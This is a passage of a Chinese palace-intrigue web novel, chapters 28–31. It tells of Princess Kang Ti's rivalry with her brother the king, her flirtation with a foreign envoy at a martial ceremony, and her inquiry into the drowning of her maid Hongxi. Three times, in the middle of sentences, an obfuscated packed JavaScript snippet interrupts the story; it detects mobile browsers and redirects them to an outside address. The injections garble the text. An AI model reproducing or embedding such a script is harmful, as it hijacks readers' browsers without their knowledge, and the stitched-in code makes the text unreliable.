何瑛姃像被抽了魂一样,或者说她本身就像一个鬼魂,眼中无神,只有一身怨念。她笨拙地站起身,跛子一样扶着墙,扶着桌,一步一步挪去柜子旁,取出一个包袱,捧着它,坐在地上。 包袱里是几件小小的衣衫,柔软的料子,针脚细细密密,是她亲手缝的,缝给未出世的孩儿。 她把那小衫紧紧攥在手里,攥得布料都皱了,攥得手背上青筋暴起。 终于,眼泪落了下来。 一滴,两滴,雨水一般,都落在小衫上。何瑛姃整个人都在发抖,哭到激动时,不禁仰头发出一声嘶喊: “啊——” 余音未散,她忽然疯了似的,使劲儿撕扯那件小衫。 “嘶啦——嘶啦——” 一旁的婢女们吓得面无人色,一拥上前。 “王妃!王妃使不得!” “快,快夺下来!” 几个人七手八脚,夺下那些破碎的布片。又扶又抱,好不容易把她弄到床上。有人按住她的肩膀,有人按住她的手,生怕她过于激动,再伤着自己。 何瑛姃躺在床上,睁着眼睛看床顶。眼泪仍止不住地流,流进鬓发,流进耳朵,流得满脸都是。 28. 一败涂地(1) 这日清晨,阳光透过窗棂,斜斜地照进屋里,在地上投射出一道道光带。康缇一身刚起身,迎着光带,走到妆台前坐下。窦韦自然而然地跟来,拿起一把象牙梳,不紧不慢地替她梳头。 帘子动了动,掌事嬷嬷迈步进来,向康缇施礼:“公主,红熙姑娘去了澄芳苑,那她的房间是不是该倒出来了?” 康缇对着镜子打了个哈欠,像只刚睡醒的猫。“不必了,”她抬手,拨了拨刘海儿,“反正她还要回来的,别折腾了。” 嬷嬷一愣,满脸不解:“回来?红熙姑娘她不是……” “你别管了。”康缇的语气淡淡的。 “是。” 嬷嬷躬身退下,珠帘在身后哗啦作响,不久又归于平静。 康缇的目光落在镜中窦韦的身上:“昨日交代给你的事,办得怎样了?” 窦韦始终看着她的头发,手上动作不停:“按公主的意思,该说的都说了。” “那红熙是什么意思?” “她愿意追随公主,”窦韦顿了顿,又补充道,“一直到死。” “哼哼。”康缇得意地笑了,“你再安排两个妥帖的人,好好照顾她。我那儿还有些上好的伤药,一并拿去给她用。” “是。” 康缇看着镜中自己的笑颜:“对了,何瑛姃怎么样了?” “王妃……”窦韦轻轻叹了口气,“听说王妃昨夜病了,医官守了一夜,天亮又回去了,想来应该无大碍。不过……” “不过什么?” “昨日红熙走后,澄芳苑便紧闭大门,王妃她谁也不见。就连王上去了,也只是在外间坐了会儿,没能进去。” 康缇眼前一亮,猛地转头看向窦韦:“真的?” “真的,现在苑门还是关着的。” “那王兄呢?王兄吃了闭门羹,可说了什么、做了什么?” “唉。”窦韦又叹了口气,“王妃不愿见人,以死相逼,王上还能说什么?在外间乱砸一通、乱骂一通,才走了。” “哈哈哈哈……” 康缇大笑起来,笑声清脆悦耳,像被春风叫醒的银铃。 “何瑛姃啊何瑛姃,”她笑够了,拿指尖拭了拭眼角溢出的泪,“真没想到,她还有这本事。” 正说着,窦韦的头也梳完了。 康缇起身,走到窗前,推开半扇窗。晨风涌进来,带着清新的气息。她深吸一口,阳光落在脸上,镀上一层金。 “如此甚好啊,”她笑盈盈地自言自语,“这样的人,才配进我康家的门。” 窦韦看着她,脸上没有任何表情。 康缇转身回到镜前,对着镜子看了又看:“这个簪子不好。”她抬起手,拔下髻上那支白玉簪,随手扔在妆奁上,“把那支赤金累丝珠花拿来。” 窦韦依言取了来,替她戴上。那珠花的光泽,随着康缇的动作轻轻闪动,流光溢彩。 “衣裳呢?”她问,“今日演武场有摔跤比赛,我要穿那身绯红织金的宫装去。” 窦韦怔了怔,迟疑着开口:“王上、王上特意吩咐过,不让您去。” “他不让的事多了,我还能都听进去?”康缇站起来,一只手搭在窦韦的肩上,笑盈盈地看着她,“小窦韦,我知道你是王兄的人,可你得明白,你终究是我的人。既然如此,就别费力气。别让我像待红熙那样待你。” “明白。” “好。”康缇抬指,勾了一下窦韦的脸蛋,然后哼着歌谣去更衣了。 窗外,阳光一寸一寸爬进来。 今日,康缇的心情格外舒畅。 只要能让康朔有一点点不愉快,她怎么费尽心机,都觉得值得。哪怕曾经对何瑛姃心怀愧疚,哪怕狠下心牺牲红熙。 说起来,先前那一点犹豫和不忍,也不过是因为心里没底,不确定一番狠心的算计,能不能换来想要的结果。可如果结果已经摆在眼前,那点善念和不忍,丢了也就丢了。 康缇微微仰着下巴,任由婢女们替她更衣,她像一朵盛放的花,被层层叠叠的绫罗绸缎包裹起来,愈发鲜亮起来。 ﹡ 演武场今日格外热闹。 校场四周旌旗猎猎,在春风中翻卷如浪。观礼台上铺着猩红毡毯,摆满了漆案果品,西康的文武官员们分列两侧,交头接耳,目光不时投向场中。 场中央搭着一座高台,台上立着一根朱红立柱,柱顶悬着一块巨大的锦缎,缎上绣着祥云瑞兽,正中一个斗大的“武”字。 西康尚武,按照历年惯例,春蒐演武的开幕之日,需由王上亲手将那锦缎揭下,谓之“启武”,象征一年演武之始。 今日,康朔着一身绯红色骑装出席,腰束银饰革带,身披银灰斗篷,衬得整个人英挺神武。他负手立在主位上,目光漫不经心地扫过台下众人,最后落在下首雍使的席位上。 严修明等人也受邀观看比武,他依旧着一身紫色公服,虽然不及康朔那一身绯红色锐利抢眼,但那伟岸笔挺的身姿、深邃的眉眼和浓郁的紫红色,实在令人无法忽视,仿佛沉沉暮色中悄然涌起的浓云,是另一种浩然之气。 男人的场子,到处都是不动声色地较劲。哪怕雍使们只是观看,并不参与,那群西康武士入场时,还是会投来挑衅的目光。 场中众人到位,礼官扬声唱道:“吉时到!请王上启武!” 这时,全场肃然。 康朔拾阶而上,走上高台,面对那朱红立柱。他刚抬起手要抓住上面的锦缎,突然听见一阵马蹄声疾驰而来,紧接着又是一个清亮的女声: “且慢!” 他猛然回头,只见一匹枣红骏马昂首跃入场中,马上之人一袭绯红织金宫装,裙摆如海浪翻涌,金红珠花熠熠生辉。 是康缇。 她行至高台下,勒缰下马,提着裙子,一口气冲上高台,用得意而略带挑衅的目光看着康朔:“这么重要的日子,听说你特意不让我来?” 康朔的目光在她身上扫了一遍,眼中含笑:“让你来,只怕你又不来了。” “那你是希望我来,还是不希望?” “你猜!” 康朔不加掩饰地扬起一边嘴角,笑了笑。 “哼!”康缇白了他一眼,转身面向全场,目光扫过众人,“启武之礼,向来由王上亲自揭绸,可今时不同往日。西康与大雍结两邦之好,如此盛事,自当有个吉人来行此大礼。而我康缇,吉星临凡,乃天选之人,这启武之礼,便由我来代劳,诸位意下如何?” 闻言,台下一片哗然。 而看台上的严修明看着她,嘴角微微扬起,深邃的眸中泛起一点绯红色的光。他抱臂于胸前,紧绷的身子稍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223492|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍松了些,一副欣赏美景的怡然之态。 康缇看着台下众人,交头接耳,傻子一样,也不管那么多,转头就要够柱子上的锦绸。 “公主殿下!”一旁的礼官看不下去了,“那、那是……王上才能……” 不待他把话说完,康朔斜眼瞥向他,抬了下手。那礼官不得不噤声。 康朔撤回目光,看向面前半步之遥的康缇,看着她窈窕笔挺的身姿、头上艳丽闪烁的珠花,还有一张意气昂扬的脸,嘴角的笑意更甚了。 欣赏、玩味,还有些不能说的情绪,在他心底漫开。他只想一味纵容。 就这样,康缇伸手,握住那锦缎一角。 众人随之,都盯着她的手,和那红黑相间、写着“武”字的锦缎。 可康缇并未看那锦缎,而是直勾勾看向雍使的座席,用郑重而清越的声音说道: “西康尚武,可‘武’之一字,从来不只是刀兵相见。此番启武,与其说是争胜,不如说是相知,让对手看见你的本事和气度。今日,请各位务必亮出我西康汉子的胸襟,让上国使臣好好瞧瞧,我们西康人,是最值得结交的朋友!” 她说着,目光锁定在严修明身上,与他四目遥对。 “严正使!”她唤出那个“严”字时,声音里带着一丝不易察觉的柔软,“你我两国,当如一双,于内于外,相望相惜、相知相重。如此可好?” 严修明闻言,嘴角也压不住笑意。他正了正头冠,挺了挺胸膛,长身而起。接着深吸一口气,卯足了劲儿,吞吐山河般回道:“公主金玉之言,愿你我两国,永不相负!严某替大雍上下,拜谢康缇公主!” 说罢,他双手交扣,冲她深深揖礼。 一句话,声如洪钟,余音绕场,单“康缇公主”四个字,就回荡了许久、许久。 听着自己的名字,康缇脸上笑意全然绽开,然后手臂一甩。 “呼啦——” 锦缎载着众人的目光,飘然落下。 而严修明的目光始终在她身上。 两人这番眉来眼去,康朔全看在眼里,先前嘴角一丝笑意,早就消失得无影无踪,整张脸冷得像刚拔了凉水。 “缇儿。”他抓住康缇的小臂,一把拽到身侧,冷声道,“跟我坐过去,好好看比武。” 康缇红袖一番,挣开了他的手:“我自己会过去。” 话音未落,她已提起裙角,蹦跳着步下高台,像个刚赢了糖的孩子。 窦韦早早在主位旁添了一把椅子,铺好软垫。康缇走过去,刻意将那椅子往边上挪了挪,与康朔的位置拉开些距离,这才款款落座。 康朔随后跟来,目不转睛地盯着她,满脸愠色。康缇虽然不曾看他一眼,却早已察觉了王兄表情不悦,心中愈发得意,下巴扬得高高的。 场中的摔跤比赛已经开始了。 两个赤着上身的壮汉扭打在一起,喝彩声此起彼伏。康缇却有些心不在焉,目光不时往使节席那边飘去。 严修明坐在那里,似乎也在看着场中,可不知是不是错觉,她总觉得他的目光时不时会往这边掠过来。 她心里痒痒的,像有根羽毛在挠。 “他该是听懂我了?”康缇心中暗道,“永不相负……呵,他定是听懂我了。” 想着想着,她的唇角便不自觉弯了起来。 29. 一败涂地(2) 今日的康缇,实在是太老实了,根本不正常。 康朔心中起疑,时不时便看她一眼,偏巧就撞见她一副少女怀春的样子。 他第一次见着这样的康缇。 她的目光飘忽迷离,却异常闪亮;嘴角噙着笑意,若有若无;整个人软软的、糯糯的,妩媚又纯净,像刚化开的饴糖。 原本,康朔还有些赏玩之意,斜倚在椅中,静静地欣赏着康缇的侧颜。可他顺着她的目光望去,看见雍使的席位,脸上的笑意顿时消失了。 “哼。”康朔不禁冷哼一声。 这声音不大不小,正好被一旁的内侍听见。康朔的随身内侍,最是细心,听着主人的声音干涩,便上前一小步,俯身问道:“王上,可是要茶水?” 康朔的目光从远处收回来,落在眼前这张凑得太近的脸上。他什么也没说,抬脚便是一踹,正中内侍的膝盖上。 “哐当——” “哗啦——” 那名内侍被踹得往前一扑,膝盖重重磕在地上,顺势将面前的案几连同上面的果品,都扑翻在地。 一时间响声大作,引得周围人纷纷侧目。 康朔抻着脖子冲他喊道:“狗东西!你挡着本王了!” “滚!” 那名内侍哪敢耽搁,连滚带爬地退下。其余几名婢女赶紧上前,扶案的扶案,捡拾的捡拾,大气都不敢喘。 康缇站在一旁看着,不禁掩嘴笑出声来。 她不紧不慢地起身,弯腰捡起一颗落在地上的小沙果,在掌心里掂了掂,然后来到康朔面前,歪着头看他,眉眼弯弯。 “王兄这是怎么了?好凶哦。”她把果子递到康朔嘴边,“来,吃一口,润润喉、消消气。” 康朔看了看沙果,又看了看她,微微眯眼:“你这是怎么了,这般乖巧?” “不好吗?” “好,当然好。” 康朔又看了那果子一眼,知道妹妹肯定又在耍花招。但他无所谓,杀人放火的事,他都不在乎,更何况这种小儿把戏。 于是,他张嘴凑上前去。 就在嘴唇即将碰到沙果的瞬间,康缇突然一翻手,揪着果蒂把它拎了起来,在康朔鼻尖上方晃了晃。 这动作,像是在喂狗。 康朔见她那副得意傲娇的样子,又气又爱,恨不能一把将她揽过来,狠狠拧上一把。可当着这满场的人,也只能端端正正坐着。 “缇儿,”他声音稳重,“你失礼了,雍使还在那边看着。” 康缇眉眼一弯,笑得又乖又无害:“哦,好吧。” 她收回果子,转身唤来窦韦:“王兄不差这一口。你去送给严正使,就说我请他尝尝,到底甜不甜。” 窦韦偷瞄了一眼康朔,才接过果子,应声退下。 康家兄妹这么一闹,场中大半的目光,早已从比武场移到了主位这边。众人就这么看着一个婢女,捧着一颗小小的果子,穿过人群,挤到雍使席旁,颔首递向严修明。 严修明望着窦韦手中的果子,迟疑了,并未伸手去接。 “不是,公主殿下什么意思?”一旁的周兆安凑过来,满脸困惑,“公主殿下方才拿这果子敬献给康王,怎么这会儿又送给咱们了?” “奴婢不知,只是奉命送来此果,请上使收下,奴婢也好回去复命。” 周兆安与左右同僚面面相觑。谁也不知道康家兄妹这葫芦里卖的什么药。这果子有没有别的深意?接了会不会惹麻烦?不接会不会更麻烦?几个人交换着眼神,谁也不敢做主。 但严修明心里明镜似的。 这对兄妹,频频较劲,一次比一次闹得凶。他见康缇势弱,几次出手相护,自然博得了公主的信任。这信任,说好也好,说不好也不好。 眼下,只怕他已经被康缇当作自己人了。她跟兄长闹别扭,竟还捎带上他。 可他是卫国公,是大雍的持节使臣。怎能跟着一个待嫁的公主,搞这种小孩儿赌气的把戏? 想到这,严修明有些后悔。方才那一声“永不相负”,说得太满了,太亮了。不该那样的。 现下,只能收敛些了。 他冲着窦韦微微点头,神色端肃,语气客气而疏离:“烦姑娘回了公主。西康王案上的东西,我等雍使不便索要。谢过公主好意了。” 窦韦听了,也不多言,只轻施一礼,便捧着那颗果子,转身往回走。 主位上,康家兄妹将这一幕看得清清楚楚。 康朔嘴角微微扬起,那笑意淡淡的,带着几分幸灾乐祸。他侧过头,看向康缇。 康缇脸上没有任何表情,只是盯着窦韦,和她手上完好无损的沙果。 她不明白,严修明刚答应自己,两国之间,相知相重,怎么这会儿,一个果子都要拒绝。 徒思无益。她忽然站起身,走下主位,迎着窦韦而去。她要亲自将这个小沙果,交到严修明手上,亲眼看他吃下这颗果子。 可刚走没几步,对面的窦韦突然顿住脚步,猛地转身,绕了个弯,朝演武场入口处快步走去。 “嗯?” 康缇循着她的身影望去,只见入口处站着一个人,是□□宫的内侍。那人满脸焦急,正探头探脑往里张望,一见窦韦过来,赶紧迎上前,附耳低语了几句。 窦韦听着,神色凝重地点了点头,旋即就往康缇这边过来,附在她耳边,将话原封不动转述给她。 “什么时候的事?”康缇脸色也变了,声音也紧绷起来。 “就是方才。” “走,回去!” 康缇也顾不得那个沙果了,转身下了看台,骑上马便往场外奔去,很快消失在众人的视线里。 严修明坐在席上,望着那个方向,眉头微微蹙起。 她方才明明朝他走来的。他看见了,甚至已经想好怎么跟她解释,该用什么表情、什么语气。 可她突然走了。 头都没有回一下。 出了什么事? 他心里忽然有些不安。莫名其妙,怎么也压不下去。 ﹡ 枣红骏马载着康缇,一路飞奔,从演武场回到王宫。她没有回□□馆,而是径直往宫西头的一处庭院去了。 马蹄声在宫道上炸开,惊得沿途宫人纷纷避让。 还没到庭院,她远远便看见几个侍卫抬着一副担架。架上长长一条,盖着一层白布,白布湿漉漉地贴在什么东西上,勾勒出起伏的轮廓。 “站住!” 康缇猛地勒住马,翻身跃下,疾步跑过去。 侍卫们一愣,待看清来人,慌忙放下担架行礼。 她顾不得理会他们,只蹲下来,盯着那白布。白布边缘虚掩着,露出的一只手,苍白浮肿,指甲缝里还有些许淤泥。 见状,康缇不由得倒吸一口凉气。 她颤抖着伸出手,“哗啦”一下掀开白布,一具女尸跃然眼前。 她全身都湿透了,衣裙紧紧贴在皮肤上,头发蓬乱,一缕缕盖住了青紫色的脸。最为扎眼的是,这具女尸,没有头发。 不是没有,是被剃光了,不足寸长的发根,掩盖不住青白的头皮。 康缇的呼吸停了一瞬。 她不敢相信眼前的一切,连忙探身向前,笨拙地拨开覆在尸体脸上的湿发,直到一张熟悉的脸,展露无遗。 就是红熙。 康缇的手停在半空,像是被什么钉住了。她看着那张脸,盯着那双闭着的眼睛,盯着那发青的嘴唇,一动不动。 “怎么回事?”她声音又虚又哑。 领头的侍卫躬身回道:“回公主,今日宫人打扫庭院,见池子里浮着个人,捞上来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226989|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一看,已经没气儿了。小的们正要将人抬出去扔了。” “扔了?”康缇猛地抬起头,面露厉色,“谁让你们扔的?” “不是……”侍卫们面面相觑,“不扔怎么办啊?” “抬到□□馆去。” “啊?” “愣着做什么?”康缇站起身,冲众人喊道,“抬去□□馆。找仵作来,我要验尸!” 就这样,红熙的尸体被抬去了□□馆,就停放在院子里。 正是那日红熙挑选嫁妆的地方。 康缇也依旧在老地方,坐在一把太师椅上,目不转睛地盯着仵作验尸。 一通忙乎后,仵作才直起酸痛的腰背,擦了把汗。 “怎么样?”康缇急迫地问,“人是怎么死的?” “回公主殿下,是溺死的。” “溺死的?”康缇盯着他,像是没听清,“你看仔细了?” “看仔细了,是溺死的。” “胡说!” 康缇抄起旁边小几上的茶杯,劈头掷了过去。茶杯“啪”的一声碎在仵作脚边,瓷片四溅。 “整个西康王宫,拢共就那一个池子。人工挖凿,不过五尺。一个活人,怎么会溺死在那里?” 仵作扑通跪下,额头点地:“冤枉啊公主!此尸口鼻有水沫,两手握拳,腹中有水,这些都是溺死之状,小的不敢妄言啊!” 康缇无法接受这个结果,便起身走到尸体旁边,蹲下来,左看右看。确实看不出异样。 她沉着脸,慢慢转过头,目光落在窦韦身上,表情别有深意。 “窦韦。”她唤了一声,声音不高,却有些压迫感,“你老实说,我命你办的事,你到底是怎么办的?” 窦韦抬起头,对上她的目光,又迅速垂下眼,然后屈膝跪下。 “回公主,那天奴婢奉命,去澄芳苑外等红熙,将她安置在内务司的院子。当晚,我便将您的话,一字一句都带到了。红熙说她糊涂,对不住公主。我又顺势劝她,事情都过去了,等养好伤,还有机会回来伺候您。她当时哭了,说若能回来,今后这条命便是公主您的。您说往东,她绝不往西。” 康缇盯着她:“就这些?” “就这些。” “那她怎么还会死?” 窦韦沉默了。 “说话啊!”康缇吼道。 “我不知道。” “不知道?”康缇俯下身,凑近了些,声音压得低低的,“窦韦,你是真不知道,还装不知道?” “我真不知道。”窦韦抬起头,“我虽是王上的人,可公主待我如何,我心里也是有数的。红熙的事,我若动了手脚,图什么?图王上多看奴婢一眼?还是图公主这辈子都不再信我?” 她顿了顿,看向一旁红熙的尸体,又道:“奴婢可以发誓,倘若我与红熙之死有半分关系,倘若我对公主有所隐瞒,便不得好死!” 康缇的眉头微微一动,一股无力感漫上心头。 她实在想不通,明明一切都在自己的计划中,到底是哪里出了问题? 院子里静极了,只有风吹过廊道的声音,簌簌的,像什么东西在悄悄说话。 “起来吧。”康缇终于开口,声音缓了些,可仍旧有些冷硬,“着人去查。从昨日到今天,红熙去了哪里,见了什么人,吃了什么东西,说了什么话,都给我查清楚。掘地三尺,也要查出来。” “是。” 窦韦应声退下,将命令转达给侍卫们。 听着众人的脚步匆匆远去,康缇倍感疲倦,她心不在焉地挪回椅子上,瘫坐在那儿,目光再次瞥向红熙身上的白布。 日头正一寸一寸下移,影子从西边拉到东边,又慢慢变淡,淡到消失。天黑了,廊下的灯笼点起来,昏黄的光落在石板上,落在那层白布上,那样惨淡。 30. 一败涂地(3) 夜晚,□□馆内依旧灯火通明。 康缇坐在院中,守在红熙的尸体旁,等待消息。灯火将她的影子拉得很长,投在青石板上,一动不动。 “公主!” 院门外忽然传来急促的脚步声。一名内侍匆匆跑进来,身后还有个十三四岁的小婢女,踉踉跄跄地跟着。 “公主,找到了。” 康缇抬起头:“找到什么了?” 内侍从衣襟内掏出一沓子碎纸,匆忙归拢了几下,双手呈上:“这是在内务司偏院找到的,就是红熙姑娘住过的地方,地上扔得到处都是。” 康缇起身接过那一沓碎纸,就着廊下的灯火,一张张拼凑起来,发现竟是那份嫁妆单子。当日,红熙一件件点过,文书一笔笔记下,她亲手过目,又命人誊抄了一份。条条目目,她都记得清楚,绝不会错。 如今碎成这个样子。 “这是怎么回事?”康缇举着那一沓碎纸问道。 内侍往一旁让了让,露出身后瑟瑟发抖的小婢女。 “这是伺候红熙姑娘的人,今早她最后一个见的红熙。”他扯了一把小婢女,“去,公主问话呢。” 小婢女被推上前,跪在地上,低着头,身子微微发抖:“回、回公主殿下,奴婢今早去给红熙姐姐送水,想给她上药来着。可一进门,就瞧见姐姐发了疯似的,把那单子扯得稀烂,扔在地上,一边踩一边骂……” “她骂什么?” 小婢女不敢抬头,声音闷闷的:“不知骂谁,就是……” “到底骂了什么?说清楚!” 小婢女身子一抖,咽了咽唾沫,学着红熙的腔调,声音细细的、颤颤的:“姐姐原话说,你们全都是骗子,全都是刀俎,就我一个是鱼肉,谁来都能剐一刀。今日我就死在这,死给你们瞧。我倒要看看,你们还能剐谁……” 此话一出,院子里都安静了。 那小婢女越说,心里越没底儿,声音也弱了下来。她偷偷抬眼,瞄向康缇,见她脸色苍白,吓得赶紧低下头:“这、这都是姐姐的原话。我听不懂什么意思,吓得不敢动。想上前给她上药,她一巴掌扇过来,叫我滚,不许再进去……” 她说着说着,声音里带了哭腔:“我就、就在外头守着,听见姐姐在屋里哭,哭了很久很久,后来、后来没动静了。我以为她哭累了,睡了,才走的……” 她还在絮絮叨叨地说着,说自己如何守着,如何小心,如何不敢打扰。可康缇已经听不进去了。 这一天,各种消息、各种迹象,都指向一个结果——红熙自尽了。 这是她完全没料到的。 一个姑娘,受过杖刑,鬓发尽剃,就这样从澄芳苑出来。宫里一半的人都看在眼里,没看见的那一半,也早听说了。 接下来就是滔滔之口,无休无止。 一则不思本分,拒随公主远嫁;二则趁着王妃小产休养,勾引王上。 这两桩事非常微妙,说大可大,说小可小,说重可重,说轻可轻。恰恰是这种不上不下的事,最合众人的胃口。人们可以尽情发挥,借他人之过,彰显自己道德优越。何乐而不为? 人言可畏,莫过于此。难保红熙不会遇到落井下石的,欺她、辱她、作践她。 康缇算准了红熙扛不住这样的压力。她以为红熙走投无路,只能乖乖回到自己身边,死心塌地做她的人。 可她没算到,还有一种可能。 这个结果,像兜头泼来的一盆凉水,康缇不禁打了个寒战。她觉得双腿像被抽去了骨头,软得撑不住身子,“咚”的一声,跌坐回椅中。双手也散了力气,碎纸飘然坠落,撒了一地。 她忽然觉得很累。 “好了。”她开口,声音虚得像从很远的地方飘来,“都走吧。” 众人面面相觑,纷纷退下。只剩窦韦,独自一人蹲在地上,捡拾着一地碎片。 “你也走。” 窦韦抬了抬头,将最后一片碎纸捡起,才离开了。 院子里静极了。 一人、一尸。 康缇像被抽了魂一般,怔怔看着面前红熙的尸体。上面盖着一层白布,那么熟悉。仿佛这一幕早就发生过一样。 那是何时?何地?何事呢? 思绪飘荡了半天,一个人渐渐浮现在康缇的脑海中。便是格青。 当年她自缢而亡,所用白绫,与这白布何其相似,都一样刺眼。 这一瞬间,她似乎明白了康朔当初的心情。他哭得那么伤心,不单是对格青的思念,而是不甘心失去刚刚驯服的爱宠。 她也不甘心。 没错,此时此刻的康缇,恰如彼时彼刻的康朔。 意识到这一点后,康缇顿时觉得一阵恶心。她怎会和他一样? “来人!”她扬声大喊,声音在空荡荡的院子里炸开,“来人啊!人都在哪儿,给我出来!” 刚刚散去的宫人们,闻声而来,再次填满这个院子。 康缇指着那具尸体,喘着粗气,胸口剧烈起伏:“你们、你们把她带走。” 为首的侍卫一愣:“带、带去哪儿?” “让你带走就带走!”康缇冲他吼道,声音近乎嘶哑,“带去哪儿都行!不要在这里停着!带走!快!” 众人被她吼得发懵,赶紧七手八脚抬起尸体,匆匆往外走。 可康缇还不罢休。 “还有这里!”她指着方才停放尸体的地方,那块青石板,“给我擦干净。仔仔细细地擦。” 宫人们不敢多问,赶紧打水拿布,跪在地上拼命地擦。 康缇就站在旁边,死死盯着那块石板。灯火将她的脸映得忽明忽暗,一双眼睛亮得诡异。 “擦干净了吗?”她在一旁焦急地问。 “回公主,干净了。” 康缇蹲下身,不顾身份体面,趴在地上,像狗一样凑过去闻。石板冰凉,带着水的湿气和皂角的涩味。可她还是觉得有什么不对,有什么看不见的东西还留在那里。 “混账!”她起身对众人吼道,“这叫干净吗?再给我擦!” 宫人们面面相觑,不敢违抗,又挽起袖子继续干活。 几方青砖被擦了一遍又一遍,水换了一盆又一盆,皂角也用掉大半块。宫人们跪了一地,反复折腾着,四肢早已麻木。 眼看着天要亮了,终于有人受不了了。 一名小内侍偷偷跑开,找到了掌事嬷嬷:“嬷嬷,您去劝劝公主吧。再这么擦下去,天都亮了,别说咱们这些皮糙肉厚的,只怕公主她自己也熬不住啊。” “哎呀我知道。”掌事嬷嬷不耐烦道,“这不是正想办法吗?” “好嬷嬷,您可别光说嘴啊,您看我这手,都掉皮了。” “嘿,你说得轻巧。”嬷嬷拍开他的手,“公主此时在气头上,你敢上去劝吗?傻孩子,得找个公主的体己人去。” “那就是窦韦姐姐了!” 小内侍眼睛一亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232484|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,扭头就要去找,被嬷嬷一把拽回来。 “别找了。方才我就寻过一圈,没见着那丫头人影,也不知钻哪儿去了?” 话音刚落,窦韦不知从哪边转出来,正好从两人身侧走过。 “窦韦姑娘!”嬷嬷眼疾手快,一把扯住她,“可算找着你了。赶紧去劝劝公主回屋歇着罢。这一宿折腾的,大伙儿都陪着耗。您是公主跟前最体己的人,您说话,她兴许能听。” 最体己的人? 窦韦嘴角微微动了动,像是想笑,终究没笑出来。 “知道了。我尽力。”她没再多说,抬脚便往康缇那边去。 晨光熹微,照在那一地水渍上,泛着惨淡的白光。康缇仍瘫坐在椅子上,像一尊不成形的泥塑。 “公主。”窦韦轻施一礼,“进屋歇一歇罢。您这一夜没合眼……” “你闻。”康缇忽然开口,声音愈发沙哑,“是不是还有味儿?” 窦韦喉咙一哽。 她看着公主那张苍白的脸,眼窝深陷,嘴唇干裂,心中一时五味杂陈。 公主那么脆弱,又那么倔强。她为了心底的不甘,一次次挑衅王上,一次次把自己逼到悬崖边。然而机关算尽,也只是两手空空。 可窦韦无法同情她。 “公主,”她声音淡然,“关于红熙的死,奴婢有话要说。此处不便,还请公主移步屋内。” 康缇缓缓抬起眼,目光呆滞:“啊?” 看着她魂不守舍的样子,窦韦不禁叹了口气,转头唤来其他宫人,将康缇半扶半架着,送进了屋内。 门被关上。 窦韦扶着康缇坐到榻上,然后从衣襟内掏出一沓东西,一半是个整整齐齐的册子,另一边正是那被撕碎的嫁妆单子。 “公主,您来看看。”她抬起头,看着康缇,“当日红熙挑选嫁妆,文书当场记下,事后又誊抄了一份。其原件一直在库里,而掌事嬷嬷给红熙的那份,是誊抄本。可这撕碎的,却不是誊抄本,而是原件。” 听了这话,康缇来了些精神。她探身过去,拿着誊抄件和撕碎的原件比对,果然如窦韦所言。 “这原件怎会去了红熙手上?” “不光是原件。”窦韦道,“红熙那日先去了清辉殿,又去了澄芳苑,根本没带这单子。不论原件还是誊抄件,都不该凭空到了她手上,任她撕毁。除非有人故意为之。” “那会是谁呢?” 窦韦看着她,一字一句道:“公主,整个馆里,王上的人,不止我一个。” 闻言,康缇瞪大了眼睛,不可置信地看着窦韦。 “你是说,王兄命人将单子送给红熙?” 窦韦没有直接回答,她从袖中又掏出一物,是个被叠得方方正正的帕子。帕子打开,里面有一撮两寸多长的毛,雪白雪白的。 “这是何物?” “方才我去了内务司,这是在红熙的房内找到的。”窦韦顿了顿,又道,“奴婢没猜错的话,应该是雪奴的毛。” “雪奴?” 雪奴是康朔的爱犬。 它去过红熙屋里。 红熙死了。 两件事摆在一起,真相呼之欲出。 “呵,呵呵,呵呵……”康缇连声苦笑。笑声断断续续,干干巴巴。 她感觉到愤怒,但又不只是愤怒那么简单。有惊、有骇,还有不解,像是被人从背后狠狠推了一下的恍惚。 王兄到底在想什么? 31. 一败涂地(4) 王兄介入了红熙的死,不论他图什么,康缇都要亲自验证。 她连口水都没喝,直接冲到了内务司。从内务司的文书、管杂役的太监,到粗使婢女……一个接一个,她亲自盘问,手段狠辣,不放过任何一人。 问到日头升到半空时,终于有一个内侍扛不住了。 “是、是有一个,”他缩着脖子,眼神躲闪,“那天晚上,天都黑透了,我起来解手,看见一个人影往那边去了。穿着侍卫的衣裳,手里还牵着一条狗……” “可有看清那狗的样子?” “没、没太看清……”这名内侍咽了口唾沫,“这狗白白的,好大一只,同清辉殿的雪奴有点像。” 闻言,康缇没再说话。她呆愣在原地,一动不动,脑海里是一团乱麻。阳光照在她身上,脸色比方才更惨白了。 “公主?” “公主?” 窦韦唤了两声,康缇这才回过神来,她缓缓转头看向窦韦,上上下下、左左右右,看了半晌。看得窦韦浑身不自在。 “公主,怎么了?” 